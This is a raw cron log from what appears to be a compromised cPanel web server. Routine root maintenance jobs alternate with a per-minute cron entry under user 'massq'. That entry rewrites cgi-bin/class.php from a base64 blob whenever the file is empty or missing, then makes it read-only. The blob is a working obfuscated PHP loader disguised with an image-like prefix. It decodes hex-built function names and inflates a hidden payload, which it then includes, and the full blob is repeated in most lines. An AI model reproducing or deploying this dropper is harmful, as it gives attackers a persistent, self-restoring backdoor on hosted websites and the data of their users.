Nov 11 02:04:01 server CROND[21426]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:05:01 server CROND[22288]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 11 02:05:01 server CROND[22289]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 02:05:01 server CROND[22291]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 02:05:01 server CROND[22292]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 02:05:01 server CROND[22295]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:06:01 server CROND[23170]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:07:01 server CROND[23996]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:08:01 server CROND[24906]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:09:01 server CROND[25717]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:09:01 server CROND[25718]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 02:10:01 server CROND[26547]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:10:01 server CROND[26548]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 02:10:01 server CROND[26549]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 02:10:01 server CROND[26550]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 02:11:01 server CROND[27416]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:12:01 server CROND[27884]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 02:12:01 server CROND[27885]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:13:01 server CROND[28745]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:14:01 server CROND[29594]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:15:01 server CROND[30407]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 11 02:15:01 server CROND[30409]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 02:15:01 server CROND[30410]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:15:01 server CROND[30408]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 02:16:01 server CROND[31031]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
